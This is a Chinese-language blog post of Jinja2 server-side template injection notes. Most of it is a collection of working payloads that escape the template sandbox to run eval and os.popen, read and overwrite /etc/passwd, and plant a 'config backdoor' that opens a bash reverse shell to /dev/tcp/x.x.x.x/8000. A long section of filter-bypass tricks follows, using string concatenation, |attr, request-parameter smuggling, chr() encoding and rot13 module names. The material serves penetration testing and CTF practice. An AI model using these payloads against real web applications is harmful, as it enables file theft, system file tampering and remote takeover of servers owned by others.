Jinja2模板注入笔记

前言

Jinja2模板注入去年挺流行的,整理一下知识点,主要针对Python3。hexo无法处理连着的两个前大括号,就用反斜杠隔开了。

参考链接

https://zenisltz.github.io/2018/10/10/PySandox/
https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
https://0day.work/jinja2-template-injection-filter-bypasses/
https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://github.com/epinna/tplmap工具

基础原理

Python内置方法

__class__获取当前对象的类,继承链的构造都是在类上进行的
mro()__mro__获取当前类的父类
__subclasses__获取子类
__base____bases__获取基类。注意多重继承,__bases__获取的是一个tuple。
__dict__列出当前属性/函数的字典
issubclass(子类, 父类)方法可以判断继承关系

Web变量

config 当前配置对象
request 当前请求对象
session 当前会话对象
g 与请求绑定的全局变量,开发者用来在请求过程中存储资源

构造继承链

漏洞测试

测试漏洞是否存在

1
2
3
{\{4*4}}[[5*5]]
{\{7*'7'}}
{\{config.items()}}

模板格式

正常模板示例

1
2
3
4
5
6
7
8
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{\{ user.url }}">{\{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

常用payload示例

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{\{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

构造思路

首先从可获取的子类回溯到Object类

1
2
3
4
5
6
7
8
[].__class__.__base__
[].__class__.__bases__[0]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
"".__class__.__mro__[1]
"".__class__.__mro__[-1]
"".__class__.__base__
request.__class__.__mro__[1]

随后获取Object类的子类,通过init获取函数对象,并通过globals获取全局参数dict

1
2
3
4
5
6
7
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
xxxxxx
{% endfor %}
{% endif %}
{% endfor %}

在全局参数中选取合适的对象,如builtins,此时已经可以执行Python的内置函数了

1
2
3
4
5
c.__init__.__globals__['__builtins__']
c.__init__.__globals__['__builtins__'].eval() # 等价于eval()
c.__init__.__globals__['__builtins__']['eval']() # 等价于eval()
c.__init__.__globals__['__builtins__'].open() # 等价于open()
xxxxxx

利用

一些操作容易将环境破坏,重启后对象加载顺序发生变化,访问list中指定对象使用的索引值也会相应变化,因此推荐使用模板格式遍历。

引入的类

payload

1
2
3
{\{ [].__class__.__base__.__subclasses__() }}
{\{ ''.class.mro()[1].__subclasses__() }}
{\{ ''.__class__.__mro__[1].__subclasses__() }}

config变量

payload

1
2
3
4
{% for key, value in config.iteritems() %}
<dt>{\{ key|e }}</dt>
<dd>{\{ value|e }}</dd>
{% endfor %}

文件读取

源操作

1
2
3
4
5
6
open('/etc/passwd').read()

file('/etc/passwd').read()

import codecs
codecs.open('/etc/passwd').read()

payload

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}
{% endif %}
{% endfor %}

# 基于代码执行的读取
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['__builtins__'].eval('open("/etc/passwd", "r").read()') }}
{% endif %}
{% endfor %}

文件写入

源操作

1
open('/etc/passwd').write()

payload

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'rw').write("content") }}
{% endif %}
{% endfor %}

RCE

源操作

1
2
3
4
5
6
7
8
9
10
11
12
import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

exec('__import__("os").system("ipconfig")') # 无回显

eval('__import__("os").system("ipconfig")')'

import platform
platform.popen('ipconfig').read()

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

payload
Linux下命令执行

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['os'].popen('ls')") }} # 不通过builtins中的import引入os,无回显
{% endif %}
{% endfor %}

Windows下命令执行

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{\{ c.__init__.__globals__['popen'].('dir').read()") }}
{% endif %}
{% endfor %}

config后门

1
2
3
4
5
6
7
8
# evil config
{\{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{\{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{\{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Bypass

通过遍历

https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py

有时重要的全局变量会被写入黑名单,可以通过脚本进行读取。对未被禁用的请求对象递归遍历,直到获取到目标对象。

拼接字符串

通过.访问的内部元素,如globals.builtins可以通过dict键的形式访问,因此可以拼接字符串。 如

  • builtins被过滤,可以使用c.__init__.__globals__['__bui'+'ltins__']
  • eval、open等函数被过滤,可以使用c.__init__.__globals__['__builtins__']['ev'+'al']()

拼接字符串方法

  • Python字符串拼接,使用”a”+”b”
  • Jinja2的字符串拼接API,使用[“a”,”b”]|join。如c.__init__.__globals__[['__bui','ltins__']|join]
  • Jinja2的字符串格式化API,如"%s%sclass%s%s"|format("_","_","_","_")

提醒:使用字符串拼接的方法时,只能通过dict键的方式访问。

过滤方括号

参考拼接字符串,如将c.__init__.__globals__['__builtins__']替换为c.__init__.__globals__.__builtins__

对request对象

过滤[].时,可以通过Jinja2的API|attr()访问对象中的属性。
request.__class__可替换为request|attr("__class__")

此外,request.args.getlist(参数名)方法可以将tuple中的字符串拼接成目标字符串。
http://localhost:5000/?exploit={\{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
这里还通过引入l=a避免使用了引号。

提醒:并不通用,对request对象适用。

对数组/字典

pop()

在过滤方括号的情况下,获取数组或字典元素,可以使用pop()方法。
array[0]可以替换为array.pop(0)dict["a"]可以替换为dict.pop("a")

提醒:pop方法将元素从数组或字典中删除,有较大概率引发环境崩溃,慎用。

__getitem__()

在过滤方括号的情况下,使用__getitem__()方法获取元素。
''.__class__.__mro__[1]可以替换为''.__class__.__mro__.__getitem__(1)

提醒:尽量使用模板遍历的方法获取数组/字典中的对象。

过滤引号

数字-字符转换

当引号被过滤时,可以使用chr()函数将数字转换为字符,并进行拼接。如

1
2
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{\{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

注意:过滤引号时无法使用模板遍历,只能依次测试索引。

请求参数绕过

详见请求参数绕过。

过滤双花括号

{\{}}被过滤时,利用模板语法,使用执行。

请求参数绕过

request.args可以获取到所有GET参数。因此,如果能够获取到这个对象,则可以将被过滤的关键字放入其他请求参数。
这一方法也适用于引号"被转义为&quot;的场景。
http://localhost:5000/?exploit={\{request[request.args.param]}}&param=__class__等价于http://localhost:5000/?exploit={\{request["__class__"]}}

如当class_被过滤时,可以使用

1
2
3
4
5
6
7
http://localhost:5000/?exploit={\{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
依次等价于
{\{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{\{request|attr(["_"*2,"class","_"*2]|join)}}
{\{request|attr(["__","class","__"]|join)}}
{\{request|attr("__class__")}}
{\{request.__class__}}

request.args外,可能用于参数绕过的变量还有

  • request.cookies
  • request.headers
  • request.environ
  • request.values

过滤库名

当遇到过滤import os`import commands`等语句,可以使用编码绕过。如

1
2
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')
1
2
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

等,或base64、倒序等方式。

builtins被清空

当遇到builtins被清空(代码如下)时,可以通过reload重新导入,或使用imp库

1
2
3
# 删除内置函数
for x in targets:
del __builtins__.__dict__[x]

重新加载builtins(Python3不适用)

1
reload(__builtins__)

使用imp库(Python3可用)

1
2
import imp
imp.reload(__builtins__)

导入包路径被篡改

在import包时,从sys.path中寻找对应包,可以尝试修改路径,如
sys.modules['os']='/usr/lib/python2.7/os.py'(Python3可用)

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 参考链接
  3. 3. 基础原理
    1. 3.1. Python内置方法
    2. 3.2. Web变量
  4. 4. 构造继承链
    1. 4.1. 漏洞测试
    2. 4.2. 模板格式
    3. 4.3. 构造思路
  5. 5. 利用
    1. 5.1. 引入的类
    2. 5.2. config变量
    3. 5.3. 文件读取
    4. 5.4. 文件写入
    5. 5.5. RCE
    6. 5.6. config后门
  6. 6. Bypass
    1. 6.1. 通过遍历
    2. 6.2. 拼接字符串
    3. 6.3. 过滤方括号
      1. 6.3.1. 对request对象
      2. 6.3.2. 对数组/字典
        1. 6.3.2.1. pop()
        2. 6.3.2.2. __getitem__()
    4. 6.4. 过滤引号
      1. 6.4.1. 数字-字符转换
      2. 6.4.2. 请求参数绕过
    5. 6.5. 过滤双花括号
    6. 6.6. 请求参数绕过
    7. 6.7. 过滤库名
    8. 6.8. builtins被清空
    9. 6.9. 导入包路径被篡改
,